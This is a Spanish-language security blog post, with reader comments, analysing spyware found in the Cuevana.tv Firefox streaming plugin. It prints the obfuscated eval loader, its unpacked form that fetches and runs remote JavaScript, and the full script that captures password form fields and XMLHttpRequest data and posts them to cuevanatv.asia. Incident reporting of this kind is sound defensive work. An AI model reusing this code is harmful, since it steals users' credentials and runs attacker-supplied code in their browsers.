Cuevana.tv y su plugin espia

Exploiting Cuevana.tv y su plugin espia

Cuevana.tv es un reconocido sitio de películas que permite hacer streaming gratuito de los últimos estrenos de Hollywood con mucha comodidad, para lograr esta “comodidad” para el usuario, es necesario instalar un plugin en nuestro navegador, que permitía tomar las películas que cuevana.tv almacenaba en servidores de descarga gratuita como fuente para realizar streaming desde ellos.

CuevanaTV Cuevana.tv y su plugin espia

Gracias a @Ursack me entero que precisamente este plugin se ha vuelto noticia, luego de que el usuario RME de Foro Coches iniciara un hilo donde ponía en evidencia un código malicioso que se encontraba dentro del plugin de cuevana y que enviaba información del usuario al dominio CUEVANATV.ASIA

ForoCoches 36x300 Cuevana.tv y su plugin espia(Click para Agrandar)

Lo primero que hice fué revisar mi propio plugin ya que a veces utilizo el servicio de cuevana, pero como lo había instalado hace mas de un mes no tenia el código malicioso del que todos hablan, me metí a la pagina oficial a descargar el plugin y descargué una copia para compararla con la mía. Le cambio el nombre a los plugins para identificarlos fácilmente y procedo a descomprimirlos, recuerden que los plugins de Firefox son básicamente archivos comprimidos con extensión xpi.

ArchivosDescomprimidosP Cuevana.tv y su plugin espia(Click para Agrandar)

Básicamente los 2 plugins son iguales, lo único que cambia entre versión y versión es una línea en el archivo content/script-compiler.js que solo aparece en la versión infectada.

CuevanaTV MergeP Cuevana.tv y su plugin espia(Click para Agrandar)

La línea en cuestión esta empaquetada para que no pueda ser leída tan fácilmente, por lo que de entrada genera sospechas:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d1=k1||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k1){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k1)}}return p}('6 0=7 5();0.4(\'1\',\'2://3.8/h.9?\'+g.e(),d);0.a(b);c(0.f);',18,18,'r|GET|http|cuevanatv|open|XMLHttpRequest|var|new|asia|js|send|null|eval|false|random|responseText|Math|back3'.split('|'),0,{}))

Por tanto lo primero que haremos será utilizar nuestro desempaquetador preferido para ver mas claramente que es lo que hace el código:

ar r = new XMLHttpRequest();
r.open(‘GET’, ‘http://cuevanatv.asia/back3.js?’ + Math.random(), false);
r.send(null);
eval(r.responseText);

Como pueden ver se hace un llamado a un código JavaScript, al que desgraciadamente no pude acceder por que en el momento que escribo este articulo el dominio cuevanantv.asia, (curiosamente registrado a nombre de María Helena Chávez, la esposa de un político Argentino… que puede dar pistas sobre la procedencia del atacante…) se encontraba fuera de servicio.

Afortunadamente los chicos de forocoches alcanzaron a tener acceso a este script, entre otros scripts almacenados en cuevanantv.asia y esto fué lo que encontraron:

    var r = new XMLHttpRequest();
    r.open('GET', "http://cuevanatv.asia/scripts.txt", false);
    r.send(null);
    if (r.status == 200) eval(r.responseText);
    OSid = Components.classes['@mozilla.org/xre/app-info;1'].getService(Components.interfaces.nsIXULRuntime).OS;
    OSid = (OSid == 'Darwin') ? 3 : ((OSid == 'WINNT') ? 2 : ((OSid == 'Linux') ? 1 : 0));

    function _sData(datos, url) {
        var r = new XMLHttpRequest;
        r.open("POST", "http://cuevanatv.asia/add.php", true);
        r.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        r.send("d=" + datos + "&o=" + OSid + "&u=" + url);
    }
    Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService).addObserver({
        observe: function (aWindow, aTopic, aData) {
            if (aWindow instanceof Ci.nsIDOMWindow && aTopic == 'content-document-global-created') {
                var win = aWindow.wrappedJSObject;
                win.addEventListener("submit",

                function (e) {
                    datos = [];
                    enviar = false;
                    for each(i in e.target.elements) {
                        if (i.type == 'password') enviar = true;
                        if (i.type != 'hidden' && i.type != 'submit' && i.type != undefined) datos.push(i.name + "::" + i.value);
                    }
                    if (enviar) _sData(datos.join(":_:"), win.location.href);
                }, false);
                var xmlhr = new Object();
                xmlhr.open = win.XMLHttpRequest.prototype.open;
                xmlhr.send = win.XMLHttpRequest.prototype.send;
                if (win.location.host.indexOf("facebook.com") == -1) {
                    win.XMLHttpRequest.prototype.open = function (a, b) {
                        a = (!a) ? '' : a;
                        b = (!b) ? '' : b;
                        xmlhr.open.apply(this, arguments);
                        xmlhr.metodo = a.toLowerCase();
                        xmlhr.url = b;
                        if (xmlhr.metodo == 'get') xmlhr.datos = b.split("?")[1];
                    }
                    win.XMLHttpRequest.prototype.send = function (a, b) {
                        a = (!a) ? '' : a;
                        b = (!b) ? '' : b;
                        xmlhr.send.apply(this, arguments);
                        if (xmlhr.metodo == 'post') xmlhr.datos = a;
                        xmlhr.callback();
                    }
                }
                xmlhr.callback = function () {
                    enviar = false;
                    activadores = ["pass", "pss", "clave", "contra"];
                    for each(dato in this.datos.split("&")) {
                        for each(activador in activadores) {
                            if (dato.split("=")[0].indexOf(activador) > -1) enviar = true;
                        }
                    }
                    if (enviar) _sData(this.datos.split("&").join(":_:").split("=").join("::"), win.location.href);
                }
                win.addEventListener("DOMContentLoaded", function (e) {
                    for (site in scripts) {
                        if (win.location.host.indexOf(site) > -1) {
                            var r = new XMLHttpRequest();
                            r.open('GET', scripts[site], false);
                            r.send(null);
                            if (r.status == 200) eval(r.responseText);
                        }
                    }
                }, false);
            }
        }
    }, 'content-document-global-created', false);

En resumidas cuentas lo que hace ese script es enviar los datos de los formularios que llenemos y cumplan con unos parámetros específicos a un servidor donde serán almacenados para su posterior uso por una persona mal intencionada, en el siguiente video podemos ver el funcionamiento del plugin infectados y como enviaba los datos atravez de nuestro navegador.

Con lo que se confirma que efectivamente el plugin de Cuevana.tv para hacer streaming de películas gratis, tenia un código malicioso que robaba información sensible, además de código especifico para hacer pishing a varias entidades bancarias.

El administrador de Cuevana.tv aunque tuvo conductas sospechosas, como eliminar el código malicioso del plugin sin notificar a nadie, ni aumentar la versión del mismo, aseguró desde la cuenta oficial de cuevana.tv en twitter (tan pronto la noticia se dio a conocer por menéame) que nunca harían eso a sus usuarios…

CuevanaTVTwitte Cuevana.tv y su plugin espia

Al parecer cuevana.tv fué vulnerado (de nuevo,,,), y lograron inyectar ese código en el plugin del sitio, ellos afirman que investigarán el caso y mas les vale, por que todos sus usuarios estaremos ansiosos de ver los resultados de esta investigación, para descartar una mala intención directamente de los creadores de cuevana.tv

Conclusiones y Recomendaciones sobre el plugin espía de cuevana.tv

  • La conclusión mas importante que te debes llevar es que no instales plugins en tu navegador de dudosa procedencia, siempre busca comentarios de otras personas sobre el plugin y descargalo siempre que sea posible, de la pagina de complementos oficial de tu navegador.
  • Cambia TODAS las contraseñas de tus servicios web, es muy posible que una persona mal intencionada ya cuente con ellas y al verse descubierto/a intentara sacar el máximo jugo a su botín en el menor tiempo posible.
  • Utiliza contraseñas diferentes para todos tus servicios, ya vimos como cuevana.tv fue vulnerado y si lograron modificar archivos en el servidor, podrían acceder a toda la base de datos de usuarios, ¿tienes la misma clave que usas en cuevana para otro servicio?… ¿ya entiendes por que es importante usar una clave para cada cosa?

Les recomiendo los siguientes artículos que también hablan del tema:

Si quieres echarle un ojo al plugin sano vs el infectado te dejo los archivos en este enlace, espero que les gustara el post, no olviden dejar sus comentarios e informar a sus amigos sobre este problema para que no se vean perjudicados.


Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Autor: DragoN

Ingeniero en Sistemas y Telecomunicaciones de la Universidad de Manizales. Information Security Researcher con más de 10 años de experiencias en Ethical Hacking, Pen Testing y Análisis Forense. Docente Universitario en Pre y Post-Grado, Speaker y Organizador de diferentes eventos de Seguridad Informática, Fundador del DragonJAR Security Conference y Fundador de DragonJAR SAS y de La Comunidad DragonJAR, una de las comunidades de seguridad informática mas grandes de habla hispana y referente en el sector.

Compartir este Artículo
  • Pingback: Bitacoras.com

  • Ursack

    Hola Dragon el dominio cuevanatv.asia fue creado el 17-Mar-2012 16:18:32
    y registrado por Maria Helena Chaves en Gandi SAS R102-ASIA (81)

    desde cuando estarán en esas con el plugin?

    complicado.

    • http://www.dragonjar.org DragoN

      hay reportes de principio de septiembre, pero puede que desde antes…

  • carlos andres arango

    Lo gratis sale caro

    • http://www.dragonjar.org DragoN

      no siempre carlos, pero hay que desconfiar de todo!!

  • Robinson Xavier

    Excelente investigación compañeros, no sabía que se podía infectar los plugins de esa manera, me han abierto los ojos.
    Un abrazo, sigan adelante.
    Éxitos

    • http://www.dragonjar.org DragoN

      Robinson, se puede infectar casi cualquier cosa, hay que estar muy pendiente con todo lo que instalemos en nuestra maquina.

  • pipo

    a mi me paso cuando trate de instalarlo en mi navegador iceweasel no me dejo me dijo que tenia codigo malicioso a si que opte por no mirar videos desde cuevana yo uso la version aurora de iceweasel un pariente de firefox jajajaj existen otros lugares de stream en los cuales para ver videos no hay que instalar nada

    • http://www.dragonjar.org DragoN

      puedes mandarnos un pantallazo de la alerta pipo?, eso complementaria el post.

  • Pingback: El plugin de Cuevana posiblemente estuvo robando contraseñas

  • andres

    hay otro sitio para ver pelis gratis que no represente este tipo de riesgos y vulnerabilidades informaticas??

  • http://noexistenuncaexitio.tampoco Ardanny

    Hablamos no de miles sino de millones de personas que se pudieron ver afectadas con esto…

    • http://www.dragonjar.org DragoN

      Claro ardanny, las ultimas estadisticas que publico cuevana hablaban de dos millones de visitas DIARIAS!!…

  • Pingback: Durante setiembre el plugin 4.2 de Cuevana posiblemente robó usuarios y contraseñas | corrientesinfo.com

  • Pingback: ¿Usas Cuevana.tv para ver películas? « infoinseg

  • Ronald

    Yo siempre desconfie de ese pluging, afortunadamente como uso Chrome, firefox solo lo uso para ver las peliculas de cuevana asi que a como esta hecho este spyware, no me ha afectado, aunq ahorita que caigo en cuenta, hace rato que deje de usar cuevana :D

    • http://www.dragonjar.org DragoN

      Te recomiendo avises a tus conocidos, por que cuevana es un servicio muy usado y la mayoría de personas no tienen conocimientos técnicos para darse cuenta del tema…

  • Martin

    Hola Dragón! como puedo ver el código fuente del plugin de Cuevana en chrome? quiero ver si el mío estaba infectado, gracias!

    • http://www.dragonjar.org DragoN

      Según la cuenta de twitter oficial de cuevana, https://twitter.com/Cuevana/status/247559776471482368 el plugin de chrome no se vió afectado, pero no se que tan confiable sea esta información.

      • Martin

        Gracias DragoN! y como dices no se que tan confiable sea esa info… ¿sabes como puedo checar el código fuente? un buen tuto o algo asi, gracias de nuevo DragoN

  • Pingback: Cuevana.tv y su plugin espia

  • jorge guzman

    cuevana me envia directamente a webstore de chrome para instalar el plugin, es seguro asi o no? gracias

  • Pingback: Cuevana.tv y su plugin espía | Revista de Tecnología & Seguridad

  • Pingback: Cuevana.tv y su plugin espia | .:: UpalePues ::. Ultimo en Actualidad de Tecnología y Geek En Latino América.

  • elvena

    Aug 2 22:58 {a3a5c777-f583-4fef-9380-ab4add1bc2a8}.xpi

    No esta infectado.

    MD5 ({a3a5c777-f583-4fef-9380-ab4add1bc2a8}.xpi) = f4bbb2c31c3774f3e1f8f921af1485ae

  • http://www.dragonjar.org/canal-caracol-en-vivo.xhtml Canal Caracol en Vivo

    hola acabo de enterarme de tu blog y la verdad es que me parece excelente no sabia de mas personas interesadas en estos temas, aqui tienes un nuevo lector que seguira visitandote abitualmente.

  • MannuDark

    Todavía recuerdo el día que me recomendaste por twitter usar cuevana jajajajaja

  • Nadie Racional

    A la fecha de hoy, ¿seguirá habiendo sospechas de que persiste el plugin espía?